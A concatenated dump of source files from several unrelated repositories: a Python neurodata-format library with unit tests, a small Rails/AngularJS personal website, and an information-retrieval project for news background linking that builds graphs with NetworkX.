from ..core import SelectionStatus as _SelectionStatus
from .. import parsing as _parsing
class SessionSpec(_collections.namedtuple("_SessionSpec",
("type", "date", "index")), _SelectionStatus):
def __new__(cls, type=None, date=None, index=None):
if (date is None) and (index is None):
if type is None:
return super(cls, SessionSpec).__new__(cls, type=None, date=None, index=None)
else:
# attempt name-based initialization
try:
return cls(**_parsing.session.name(type))
except ValueError:
pass # fallthrough
return super(cls, SessionSpec).__new__(cls, type=_parsing.session.type(type),
date=_parsing.session.date(date),
index=_parsing.session.index(index))
@classmethod
def empty(cls):
return cls(type=None, date=None, index=None)
@classmethod
def from_name(cls, name):
"""initializes the specification from a property formatted session name."""
return cls(**_parsing.session.name(name))
def __str__(self):
return self.name
@property
def status(self):
return self.compute_status(None)
@property
def name(self):
"""returns the session specification as it appears on directory names."""
return self.format()
def with_values(self, **kwargs):
spec = dict(**kwargs)
for fld in self._fields:
if fld not in spec.keys():
spec[fld] = getattr(self, fld)
return self.__class__(**spec)
def cleared(self):
return self.__class__(None,None,None)
def compute_status(self, context=None):
# TODO
if context is None:
stat = tuple(fld is None for fld in self)
if all(stat):
return self.UNSPECIFIED
elif any(stat):
return self.MULTIPLE
else:
return self.SINGLE
else:
raise NotImplementedError("SessionSpec.compute_status()")
def compute_path(self, context):
"""context: Predicate"""
return context.compute_subject_path() / self.name
def format(self,
digits=None,
default_type=None,
default_date=None,
default_index=None):
return f"{self._format_type(default=default_type)}" + \
f"{self._format_date(default=default_date)}" + \
f"-{self._format_index(default=default_index)}"
def _format_type(self, default=None):
if self.type is None:
if default is None:
default = defaults["session.nospec.type"]
return str(default)
else:
return self.type
def _format_date(self, default=None):
if self.date is None:
if default is None:
default = defaults["session.nospec.date"]
return str(default)
else:
return self.date.strftime(_parsing.session.DATE_FORMAT)
def _format_index(self, digits=None, default=None):
if digits is None:
digits = defaults["session.index.width"]
if not isinstance(digits, int):
raise ValueError(f"'digits' expected to be int, got {digits.__class__}")
if self.index is None:
if default is None:
default = defaults["session.nospec.index"]
return str(default)
else: # assumes int
base = str(self.index)
if len(base) > digits:
raise ValueError(f"cannot represent session index '{self.index}' in a {digits}-digit number")
return base.zfill(digits)
<file_sep>#
# MIT License
#
# Copyright (c) 2020 <NAME>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
#
"""usage: python -m dope.predicate.tests"""
import unittest
from . import *
class PredicateTests(unittest.TestCase):
def test_sessionspec(self):
self.assertEqual(Predicate(session_index=1).session_index, 1)
self.assertEqual(Predicate(session="session2019-03-11-001").session_name,
"session2019-03-11-001")
self.assertEqual(Predicate(session_date="2019-03-11").session_date.strftime("%Y-%m-%d"),
"2019-03-11")
self.assertEqual(Predicate(session_type="session").session_type, "session")
def test_level(self):
pred = Predicate()
self.assertEqual(pred.level, pred.NA)
pred = pred.with_values(root="testroot")
self.assertEqual(pred.level, pred.ROOT)
pred = pred.with_values(dataset="testds")
self.assertEqual(pred.level, pred.DATASET)
pred = pred.with_values(subject="testsub")
self.assertEqual(pred.level, pred.SUBJECT)
pred = pred.with_values(session="session2019-03-11-001")
self.assertEqual(pred.level, pred.SESSION)
def test_status(self):
pass #TODO
<file_sep>#
# MIT License
#
# Copyright (c) 2020 <NAME>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
#
import collections as _collections
import pathlib as _pathlib
from .. import modes as _modes
from ..core import SelectionStatus as _SelectionStatus
from ..core import DataLevels as _DataLevels
from ..sessionspec import SessionSpec as _SessionSpec
from ..filespec import FileSpec as _FileSpec
def compute_selection_status(spec):
"""returns the status of root/dataset/subject/domain selection."""
if isinstance(spec, (str, bytes, _pathlib.Path)):
return _SelectionStatus.SINGLE
elif spec is None:
return _SelectionStatus.UNSPECIFIED
elif callable(spec):
return _SelectionStatus.DYNAMIC
elif iterable(spec):
size = len(spec)
if size == 1:
return _SelectionStatus.SINGLE
elif size == 0:
return _SelectionStatus.NONE
else:
return _SelectionStatus.MULTIPLE
else:
raise ValueError(f"unexpected specification: {spec}")
def compute_session(specs, default=None):
if "session" in specs.keys():
if isinstance(specs["session"], str):
return _SessionSpec(specs["session"])
else:
return _SessionSpec(*specs["session"])
else:
if default is None:
default = _SessionSpec()
sspec = dict((k.replace("session_",""), v) for k, v in specs.items() \
if k.startswith("session_"))
return default.with_values(**sspec)
def compute_file(specs, default=None):
if "file" in specs.keys():
if isinstance(specs["file"], str):
return _FileSpec(specs["file"])
else:
return _FileSpec(*specs["file"])
else:
if default is None:
default = _FileSpec()
fspec = dict((k,v) for k, v in specs.items() \
if k in _FileSpec._fields)
return default.with_values(**fspec)
class Predicate(_collections.namedtuple("_Predicate",
("mode", "root", "dataset", "subject", "session",
"domain", "file")),
_SelectionStatus, _DataLevels):
"""a predicate specification to search the datasets."""
def __new__(cls, *args, **specs):
values = dict()
offset = 0
for fld in cls._fields:
if fld == "session":
values[fld] = compute_session(specs)
elif fld == "file":
values[fld] = compute_file(specs)
elif fld in specs.keys():
values[fld] = specs[fld]
elif len(args) > offset:
values[fld] = args[offset]
offset += 1
else:
values[fld] = None
values["mode"] = _modes.verify(values["mode"])
if values["root"] is not None:
values["root"] = _pathlib.Path(values["root"])
return super(cls, Predicate).__new__(cls, **values)
@property
def level(self):
"""returns a string representation for the 'level' of specification."""
if self.file.status != _FileSpec.UNSPECIFIED:
return self.FILE
elif self.domain is not None:
return self.DOMAIN
elif self.session.status != _SessionSpec.UNSPECIFIED:
return self.SESSION
elif self.subject is not None:
return self.SUBJECT
elif self.dataset is not None:
return self.DATASET
elif self.root is not None:
return self.ROOT
else:
return self.NA
@property
def status(self):
return self.compute_status()
@property
def session_name(self):
return self.session.name
@property
def session_index(self):
return self.session.index
@property
def session_type(self):
return self.session.type
@property
def session_date(self):
return self.session.date
@property
def trial(self):
return self.file.trial
@property
def run(self):
return self.file.run
@property
def channel(self):
return self.file.channel
@property
def suffix(self):
return self.file.suffix
@property
def path(self):
return self.compute_path()
@property
def dataset_path(self):
return self.compute_dataset_path()
@property
def subject_path(self):
return self.compute_subject_path()
@property
def session_path(self):
return self.session.compute_path(self)
@property
def domain_path(self):
return self.compute_domain_path()
def with_values(self, clear=False, **newvalues):
"""specifying 'clear=True' will fill all values
(but `mode` and `root`) with None unless
explicitly specified."""
spec = dict()
for fld in self._fields:
if (clear == False) or (fld in ("mode", "root")):
default = getattr(self, fld)
else:
default = None
if fld == "session":
spec[fld] = compute_session(newvalues, default)
elif fld == "file":
spec[fld] = compute_file(newvalues, default)
else:
spec[fld] = newvalues.get(fld, default)
return self.__class__(**spec)
def cleared(self):
"""returns another Predicate where everything (except for
`mode` and `root`) is cleared."""
return self.__class__()
def as_dataset(self, mode=None):
return self.__class__(mode=self.mode if mode is None else mode,
root=self.root,
dataset=self.dataset)
def as_subject(self, mode=None):
return self.__class__(mode=self.mode if mode is None else mode,
root=self.root,
dataset=self.dataset,
subject=self.subject)
def as_session(self, mode=None):
return self.__class__(mode=self.mode if mode is None else mode,
root=self.root,
dataset=self.dataset,
subject=self.subject,
session=self.session)
def as_domain(self, mode=None):
return self.__class__(mode=self.mode if mode is None else mode,
root=self.root,
dataset=self.dataset,
subject=self.subject,
session=session,
domain=domain)
def compute_status(self):
"""returns a string representation for the status of specification."""
if any(callable(item) for item in self):
return self.DYNAMIC
lev = self.level
if lev == self.NA:
return self.UNSPECIFIED
status = compute_selection_status(self.root)
if (lev == self.ROOT) or (status != self.SINGLE):
return status
status = self.compute_dataset_status()
if (lev == self.DATASET) or (status != self.SINGLE):
return status
status = self.compute_subject_status()
if (lev == self.SUBJECT) or (status != self.SINGLE):
return status
status = self.session.compute_status(self)
if (lev == self.SESSION) or (status != self.SINGLE):
return status
status = self.compute_domain_status()
if (lev == self.DOMAIN) or (status != self.SINGLE):
return status
return self.file.compute_status(self)
def compute_dataset_status(self):
# TODO
return compute_selection_status(self.dataset)
def compute_subject_status(self):
# TODO
return compute_selection_status(self.subject)
def compute_domain_status(self):
# TODO
return compute_selection_status(self.domain)
def compute_path(self):
"""returns a simulated path object if and only if this Predicate
can represent a single file.
it does not necessarily mean that the returned value points to an
existing file.
raises ValueError in case a path cannot be computed.
"""
level = self.level
status = self.status
if status != self.SINGLE:
raise ValueError(f"cannot compute a path: not specifying a single condition (status: '{status}')")
if level == self.ROOT:
return self.root
elif level == self.DATASET:
return self.compute_dataset_path()
elif level == self.SUBJECT:
return self.compute_subject_path()
elif level == self.SESSION:
return self.session.compute_path(self)
elif level == self.DOMAIN:
return self.compute_domain_path()
else:
# status == FILE
return self.file.compute_path(self)
def compute_dataset_path(self):
return self.root / self.dataset
def compute_subject_path(self):
return self.compute_dataset_path() / self.subject
def compute_domain_path(self):
return self.session.compute_path(self) / self.domain
<file_sep># pydope
a reference Python implementation for the DOPE data format.
<file_sep>#
# MIT License
#
# Copyright (c) 2020 <NAME>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
#
"""usage: python -m dope.sessionspec.tests"""
import unittest
from . import *
class SessionSpecTests(unittest.TestCase):
def test_initialize(self):
obj = SessionSpec(type="session", date="2015-12-31", index="003")
self.assertEqual(obj.name, "session2015-12-31-003")
self.assertEqual(obj.type, "session")
self.assertEqual(obj.date.year, 2015)
self.assertEqual(obj.date.month, 12)
self.assertEqual(obj.date.day, 31)
self.assertEqual(obj.index, 3)
self.assertEqual(str(SessionSpec("2p-imaging2015-12-31-003")),
"2p-imaging2015-12-31-003")
SessionSpec(type=None, date=None, index=None)
def test_status(self):
obj = SessionSpec(type="session", date="2015-12-31", index=1)
self.assertEqual(obj.status, obj.SINGLE)
obj = obj.with_values(index=None)
self.assertEqual(obj.status, obj.MULTIPLE)
obj = obj.cleared()
self.assertEqual(obj.status, obj.UNSPECIFIED)
if __name__ == "__main__":
unittest.main()
| a1d42b575c219e3cd6117e8e1254dedcf9683bb8 | [
"Markdown",
"Python"
] | 13 | Python | gwappa/python-neurodatablock | c8beb315177a850e9d275902a6303e68a319c123 | de54218ebdf37da38eeceef98b405d20238444e7 |
refs/heads/master | <repo_name>tracylei/tracylei.com<file_sep>/app/controllers/comments_controller.rb
class CommentsController < ApplicationController
def index
#retrieve associated post
post = Post.find(params[:id])
comment = post.comments.create(comment_params)
#respond with both since comment is a nested resource
#json will only return last obj
respond_with post, comment
end
private
def comment_parmas
params.require(:comment).permit(:body)
end
end
<file_sep>/README.md
# Personal Website
[Visit me :)](http://www.tracylei.com)
<file_sep>/app/assets/javascripts/blogCtrl.js
'use strict';
angular.module('personalSite')
.controller("BlogCtrl", ["$scope", "$routeParams", "postData",
function($scope, $routeParams, postData){
$scope.data = {postData: postData.posts};
postData.loadPosts();
//console.log($scope.data.postData.posts);
//console.log($scope.data.postId);
//console.log($scope.data.postData.posts[0]);
$scope.data.postId = $routeParams.postId;
//console.log($routeParams);
}])
.factory('postData', ['$http', function($http){
var postData = {
posts: [
{
title: "Loading...",
contents: ""
}
]
};
postData.loadPosts = function(){
$http.get('./posts.json').success(function(data){
postData.posts = data;
console.log('Successfully loaded posts.');
}).error(function() {
console.error('Failed to load posts.');
});
};
//Add create
return postData;
}]);<file_sep>/app/controllers/posts_controller.rb
class PostsController < ApplicationController
def index
posts = Post.all
respond_with(posts) do |format|
format.json { render :json => posts.as_json}
end
end
def create
respond_with Post.create(post_params)
end
def show
respond_with Post.find(params[:id])
end
private
def post_params
params.require(:post).permit(:title)
end
end
<file_sep>/app/assets/javascripts/app.js
'use strict';
angular.module('personalSite',[
'templates',
'ngRoute'
])
.config(function($routeProvider){
$routeProvider
.when('/', {
templateUrl: 'index.html',
controller : 'MainCtrl',
})
.when('/blog/:postId', {
templateUrl: 'post.html',
controller : 'BlogCtrl',
})
.when('/projects',{
templateUrl: 'projects.html',
controller : 'ProjectCtrl',
})
.when('/contact', {
templateUrl: 'contact.html'
})
.otherwise({
redirectTo: '/'
});
});
| b20bcc7c1e2fb5358ca5e32b2fcee4a88e111816 | [
"Markdown",
"JavaScript",
"Ruby"
] | 5 | Ruby | tracylei/tracylei.com | 6801e22b490b62ffaedf4a16c57e7514e82d8408 | 724028230fbf5b4b878276fe15ff1b7cfc98f184 |
refs/heads/main | <repo_name>LiMeijdam/ir-background-linking<file_sep>/bglinking/graph/graph_comparators/GMCSComparator.py
import numpy as np
from scipy import stats
from collections import defaultdict
import operator
import warnings
from bglinking.general_utils import utils
from bglinking.graph.graph_comparators.InformalGraphComparatorInterface import InformalGraphComparatorInterface
class GMCSComparator(InformalGraphComparatorInterface):
def type_distribution(self, nodes):
distribution = defaultdict(float)
for node in nodes.values():
distribution[node.node_type] += 1
return distribution
def similarity(self, nodes_a, edges_a, nodes_b, edges_b, common_nodes, common_edges, node_edge_l) -> float:
l = node_edge_l # node over edge importance
sum_nodes_a = sum([node.weight for node in nodes_a.values()])
sum_nodes_b = sum([node.weight for node in nodes_b.values()])
sum_edges_a = sum([weight for weight in edges_a.values()])
sum_edges_b = sum([weight for weight in edges_b.values()])
nodes = l * (sum(common_nodes.values(), 0))/max(sum_nodes_a, sum_nodes_b, 1)
edges = (1-l) * sum(common_edges.values(), 0)/max(sum_edges_a, sum_edges_b, 1)
return nodes + edges
def novelty(self, que_graph, can_graph, common_nodes) -> float:
# determine weight thresholdhold! to be important node
original_distribution = self.type_distribution(que_graph.nodes)
new_info = {}
with warnings.catch_warnings():
warnings.simplefilter("ignore", category=RuntimeWarning)
weight_threshold = np.mean(list(can_graph.edges.values()))
i = 0
added_nodes = []
for edge, weight in can_graph.edges.items():
# overlap should be 1, meaning there is exactly 1 node in common nodes.
if len(set(edge) & set(common_nodes)) == 1 and weight > weight_threshold:
new_node = np.setdiff1d(edge, common_nodes)[0]
if new_node not in added_nodes:
i += 1
new_info[new_node] = can_graph.nodes[new_node]
added_nodes.append(new_node)
additional_distributions = self.type_distribution(new_info)
not_matching_candidate_node_weights = [can_graph.nodes[key].weight for key in set(can_graph.nodes)-set(common_nodes)]
if len(not_matching_candidate_node_weights) == 0:
return (0.0, utils.get_keys_max_values(additional_distributions))
additional_node_weights = [node.weight for node in new_info.values()]
novelty = sum(additional_node_weights) / sum(not_matching_candidate_node_weights)
return (novelty, utils.get_keys_max_values(additional_distributions))
def compare(self, graph_a, graph_b, novelty_percentage, node_edge_l=0.5) -> (float, float):
""" Compare graph A with graph B and calculate similarity score.
Returns
-------
(float, float)
node similarity, edge similarity
"""
nodes_a = graph_a.nodes
edges_a = graph_a.edges
nodes_b = graph_b.nodes
edges_b = graph_b.edges
common_nodes = {node_name: node_obj.weight for node_name, node_obj in nodes_a.items() if node_name in nodes_b.keys()}
common_edges = {edge: weight for edge, weight in edges_a.items() if edge in edges_b.keys()}
similarity_score = (1 - novelty_percentage) * self.similarity(nodes_a, edges_a, nodes_b, edges_b, common_nodes, common_edges, node_edge_l)
novelty_score, diversity_type = self.novelty(graph_b, graph_a, common_nodes)
novelty_score = float(novelty_percentage * novelty_score)
return stats.hmean([similarity_score+1e-05, novelty_score+1e-05]), diversity_type
<file_sep>/POC/Paragraph.py
import networkx as nx
import matplotlib.pyplot as plt
from matplotlib.pyplot import figure
import pandas as pd
import numpy as np
import random
import ast
def graph_generator(text_file,document,ParagraphNumber):
my_file = open(text_file, "r")
content = my_file.read()
ContnetList = content.split("Document id: ")
#document = 0 # range(len(ContnetList)-1) <-------------------
doc_graph = pd.DataFrame()
doc_id = []
pragraph_level = ContnetList[document+1].split("==========================================") # For the frist
Number_of_paragraphs = len(pragraph_level)-2 # Last empty row and final element -2
for paragraph in range(Number_of_paragraphs):
data = pragraph_level[paragraph].split('\n')
while '' in data:
data.remove('')
if paragraph==0:
doc_id.append(data[0])
data.remove(data[0])
doc_graph = pd.concat([doc_graph, pd.DataFrame(data)], ignore_index=True, axis=1)
node=0 # initialize variables-------------------------------------------
EdgeOrNode = 1 # 0 is paragraph id , 1 is nodes, 2 is edges
#Number_of_paragraphs
#ParagraphNumber = 1
# Cycle all id node and edges
nodes = []
edges =[]
for EdgeOrNode in range(3):
if EdgeOrNode == 0:
P_id = doc_graph[ParagraphNumber][EdgeOrNode].split('Term: ')#[node+1]
P_id = P_id[0][-1:]
elif EdgeOrNode == 1:
for node in range(len(doc_graph[ParagraphNumber][EdgeOrNode].split('Term: '))-1):
nodes.append(doc_graph[ParagraphNumber][EdgeOrNode].split('Term: ')[node+1])
elif EdgeOrNode == 2:
edges = doc_graph[ParagraphNumber][EdgeOrNode].split('Term: ')[0][36:-1]
edges = ast.literal_eval(edges)
# Create a graph for the paragraph ------------------------
G = nx.Graph()
G.graph['Paragraph_id'] = P_id
G.graph['Doc_id'] = doc_id[0]
for node_n in range(len(nodes)): # Add nodes
N_ = nodes[node_n].split(', ')
G.add_node(N_[0], w = float(N_[1][8:-3]))
#nx.draw(G,with_labels = True)
for i in range(len(list(edges.keys()))): # Add edges
G.add_edge(list(edges.keys())[i][0],list(edges.keys())[i][1], weight = edges[list(edges.keys())[0]])
#nx.draw(G,with_labels = True)
return G,Number_of_paragraphs,doc_id
def GraphFromText(Text_file,document_number):#
N_parapgraphs = graph_generator("paragraph_graph_export_weights.txt",document_number,1)[1]
Graphs = [graph_generator("paragraph_graph_export_weights.txt",document_number,i)[0] for i in range(N_parapgraphs)]
doc_id=graph_generator("paragraph_graph_export_weights.txt",document_number,1)[2]
return Graphs,doc_id
def central_node(G): # Compute central node
b = nx.betweenness_centrality(G)
L = list(b.keys())
return L[np.argmax(np.array([b[i] for i in L]))]
def ComposeFull(L): # Link into a single graph
F = nx.Graph()
central = []
for g in L:
F = nx.compose(F,g)
central.append(central_node(g))
for i in range(len(central)-1):
F.add_edge(central[i], central[i+1], weight = max(1/np.sqrt(i+1),0.2))
return F
def GCC_txt(TextFile, Document):
Graphs, doc_id = GraphFromText("paragraph_graph_export_weights.txt",Document)
document_graph = ComposeFull(Graphs)
Gcc = max(nx.connected_components(document_graph), key=len)
G0 = document_graph.subgraph(Gcc)
G0.name=doc_id[0]
return G0
def NxToPep(NXGraph,docid,fname):
PepGraph = Graph(docid,fname)
tf = 1 # It is not in the construction of the NX graph object
term_positions=[0] # Not in the construction of the NX graph object
nodes__ = dict([(i,
Node(i,
'term',
term_positions, # We could add this as a list in the arguments maybe
tf, # We could add this in the arguments maybe
GCC.nodes[i]['w'])) for i in GCC.nodes])
PepGraph.__nodes = nodes__
# Transform the edges
PepGraph.__edges = dict([((i[0],i[1]),GCC[i[0]][i[1]]['weight']) for i in GCC.edges])
return PepGraph
<file_sep>/README.md
# Background-linking
This repository is used for code to build a ranking system for finding relevant background articles for news articles and blog posts using the [TREC Washington Post Dataset](https://trec.nist.gov/data/wapost/).
As a start, [<NAME>']((https://github.com/PepijnBoers/background-linking)) was used. He did previous research on this topic and the approach used in this research can be seen as a follow up for his approach.
# Relevant changes
## Ranking system
Below the relevant changes that were made as continuation on Pepijn Boers' code are listed:
- [build_db_paragraph.py](https://github.com/djessedirckx/ir-background-linking/blob/main/bglinking/database_utils/build_db_paragraph.py): This script is used to compute tf-idf scores on paragraph level and store them in the database.
- [build_db_passage.py](https://github.com/djessedirckx/ir-background-linking/blob/main/bglinking/database_utils/build_db_passage.py): This script is used to compute tf-idf scores on passage level and store them in the database.
- [ParagraphGraphBuilder.py](https://github.com/djessedirckx/ir-background-linking/blob/main/bglinking/graph/graph_builders/ParagraphGraphBuilder.py): This class is used to build graphs on paragraph/passage level depending on the database being used.
- [NxBuilder.py](https://github.com/djessedirckx/ir-background-linking/blob/main/bglinking/graph/graph_builders/NxBuilder.py): This module is used to connect multiple sub-graphs on document level using the NetworkX library.
- [create_top_n_tfidf_vector_paragraph()](https://github.com/djessedirckx/ir-background-linking/blob/8461dd646cb137ea20fcff417627b50766bf85b4/bglinking/general_utils/utils.py#L224): This function is used to compute tf-idf scores on either paragraph or passage level depending on the configuration being used.
- [paragraph_reranker.py](https://github.com/djessedirckx/ir-background-linking/blob/main/bglinking/paragraph_reranker.py): This script functions as an entrance file for ranking background articles using either paragraph- or passage sub-graphs depending on the configuration being used.
- [passage_importance.py](https://github.com/djessedirckx/ir-background-linking/blob/main/bglinking/passage_importance.py): This script is used to determine relevance scores for different passages of a query article.
- [paragraph_reranker_ensemble.py](https://github.com/djessedirckx/ir-background-linking/blob/main/bglinking/paragraph_reranker_ensemble.py): This script functions as an entrance file for ranking background articles using an ensemble voting method.
## Other important files
- [POC](https://github.com/djessedirckx/ir-background-linking/tree/main/POC): This directory contains POC code that was written for creating document-level graphs.
- [PowerBI](https://github.com/djessedirckx/ir-background-linking/tree/main/PowerBI): This directory contains PowerBI scripts that were used for visualizing the results obtained by this project.
# Results
- [Visual paragraph graph exploration](https://app.powerbi.com/view?r=<KEY>).
- [Research question results](https://app.powerbi.com/view?r=<KEY>IsImMiOjl9&pageName=ReportSection).
# Setup
## Docker
To be able to run the experiments more easily Docker was used. The Docker images for the respective experiments the following commands can be used.
After cloning the repository build the docker image using the dockerfile:
Background-linking on document level (using Pepijn's configuration):
```
docker build . -f docker-document -t document-linking
```
Background-linking on paragraph level
```
docker build . -f docker-paragraph -t paragraph-linking
```
Background-linking on passage level
```
docker build . -f docker-paragraph -t passage-linking
```
Passage importance
```
docker build . -f docker-passage-importance -t passage-importance
```
Ensemble voting
```
docker build . -f docker-ensemble -t ensemble-linking
```
## Resources
In order to reproduce the experiments, you need to specify the exact same resources as described below.
- index: Index of the Washington Post Corpus (v2)
- db: Database with tf-idf scores
- topics: File with topics (TREC format)
- qrels: Query relevance file for the specified topics
- candidates: Candidate documents
### Index
TREC's [Washington Post](https://trec.nist.gov/data/wapost/) index was build using [Anserini](https://github.com/castorini/anserini), see [Regressions for TREC 2019 Background Linking](https://github.com/castorini/anserini/blob/master/docs/regressions-backgroundlinking19.md). In order to obtain the corpus, an individual agreement form has to be completed first. The exact command we used is shown below:
```
./target/appassembler/bin/IndexCollection -collection WashingtonPostCollection \
-input /WashingtonPost.v2/data -generator WashingtonPostGenerator \
-index lucene-index.core18.pos+docvectors+rawdocs_all \
-threads 1 -storePositions -storeDocvectors -storeRaw -optimize -storeContents
```
The obtained index should be stored in `bglinking/resources/Index`.
### Database
A database was created to speed up the graph generation. Tf-idf terms were stored per candidate document in a database.
- Tf-idf terms on paragraph level: [database script](https://github.com/djessedirckx/ir-background-linking/blob/main/bglinking/database_utils/build_db_paragraph.py)
- Tf-idf terms on passage level: [database](https://github.com/djessedirckx/ir-background-linking/blob/main/bglinking/database_utils/build_db_passage.py)
For creating the database, first create files called `paragraph-database.db` and `passage-database.db` in `bglinking/resources/db`. Use the following SQL script to generate the required database structure.
```sql
CREATE TABLE `entities` (
`id` INTEGER NOT NULL,
`docid` INTEGER NOT NULL,
`parid` INTEGER NOT NULL,
`tfidf_terms` TEXT NOT NULL,
PRIMARY KEY(`id`)
);
```
The databases can be generated using the following commands
```sh
python database_utils/build_db_paragraph.py --name paragraph-database --index lucene-index.core18.pos+docvectors+rawdocs_all
```
```sh
python database_utils/build_db_passage.py --name passage-database --index lucene-index.core18.pos+docvectors+rawdocs_all --passages 5
```
### Candidates
Candidates were obtained using BM25 + RM3 via Anserini, see [Regressions for TREC 2019 Background Linking](https://github.com/castorini/anserini/blob/master/docs/regressions-backgroundlinking19.md).
The candidates file should be stored in `bglinking/resources/candidates`
### Topics and Qrels
Topics and query relevance files can be downloaded from the News Track [page](https://trec.nist.gov/data/news2019.html).
Store in `bglinking/resources/topics-and-qrels`
# Running experiments
## RQ 1
The configurations below use the full graph. Add the `--use-gcc` parameter to use the greatest connected component instead.
### Paragraph level
```
docker run --rm -v $PWD/bglinking/resources:/opt/background-linking/bglinking/resources paragraph-linking --index lucene-index.core18.pos+docvectors+rawdocs_all --db paragraph-database.db --topics topics.backgroundlinking19.txt --qrels qrels.backgroundlinking19.txt --candidates run.backgroundlinking19.bm25+rm3.topics.backgroundlinking19.txt --nr-terms 100 --text-distance 1 --output paragraph-linking.txt --run-tag paragraph-linking
```
### Passage level
```
docker run --rm -v $PWD/bglinking/resources:/opt/background-linking/bglinking/resources passage-linking --index lucene-index.core18.pos+docvectors+rawdocs_all --db passage-database.db --topics topics.backgroundlinking19.txt --qrels qrels.backgroundlinking19.txt --candidates run.backgroundlinking19.bm25+rm3.topics.backgroundlinking19.txt --nr-terms 100 --text-distance 1 --output passage-linking.txt --run-tag passage-linking
```
## RQ 2
The `--passage-nr` parameter can be changed to use a different paragraph as query article (ranges from 0-4)
```
docker run --rm -v $PWD/bglinking/resources:/opt/background-linking/bglinking/resources passage-importance --index lucene-index.core18.pos+docvectors+rawdocs_all --db passage-database.db --topics topics.backgroundlinking19.txt --qrels qrels.backgroundlinking19.txt --candidates run.backgroundlinking19.bm25+rm3.topics.backgroundlinking19.txt --nr-terms 100 --text-distance 1 --passage-nr 1 --output passage_experiment_1.txt --run-tag passage_experiment_1
```
## RQ 3
### Paragraph level
```
docker run --rm -v $PWD/bglinking/resources:/opt/background-linking/bglinking/resources ensemble-linking --index lucene-index.core18.pos+docvectors+rawdocs_all --db paragraph-database.db --topics topics.backgroundlinking19.txt --qrels qrels.backgroundlinking19.txt --candidates run.backgroundlinking19.bm25+rm3.topics.backgroundlinking19.txt --nr-terms 100 --text-distance 1 --output ensemble-paragraph-linking.txt --run-tag ensemble-paragraph-linking
```
### Passage level
```
docker run --rm -v $PWD/bglinking/resources:/opt/background-linking/bglinking/resources ensemble-linking --index lucene-index.core18.pos+docvectors+rawdocs_all --db passage-database.db --topics topics.backgroundlinking19.txt --qrels qrels.backgroundlinking19.txt --candidates run.backgroundlinking19.bm25+rm3.topics.backgroundlinking19.txt --nr-terms 100 --text-distance 1 --output ensemble-passage-linking.txt --run-tag ensemble-passage-linking
```
Results are stored in `bglinking/resources/output`
<file_sep>/bglinking/reranker.py
import os
import argparse
from tqdm import tqdm
import json
import numpy as np
from operator import attrgetter
import sys
from pyserini import search
from pyserini import index
from pyserini import analysis
from bglinking.general_utils import utils
from bglinking.database_utils import db_utils
from bglinking.graph.graph import Graph
from bglinking.graph.graph_comparators.GMCSComparator import GMCSComparator
from bglinking.graph.graph_builders.DefaultGraphBuilder import DefaultGraphBuilder
parser = argparse.ArgumentParser()
parser.add_argument('--index', dest='index', default='lucene-index.core18.pos+docvectors+rawdocs_all',
help='specify the corpus index')
parser.add_argument('--db', dest='db', default='entity_database_19.db',
help='specify the database')
parser.add_argument('--embedding', dest='embedding', default='',
help='specify the embeddings to use')
parser.add_argument('--stats', dest='stats', default=False,
help='Show index stats')
parser.add_argument('--year', dest='year', default=None, type=int,
help='TREC year 18, 19 or 20')
parser.add_argument('--topics', dest='topics', default='topics.backgroundlinking19.txt',
help='specify qrels file')
parser.add_argument('--candidates', dest='candidates', default='run.backgroundlinking20.bm25+rm3.topics.backgroundlinking20.txt',
help='Results file that carries candidate docs')
parser.add_argument('--qrels', dest='qrels', default='qrels.backgroundlinking19.txt',
help='specify qrels file')
parser.add_argument('--output', dest='output', default='output_graph.txt',
help='specify output file')
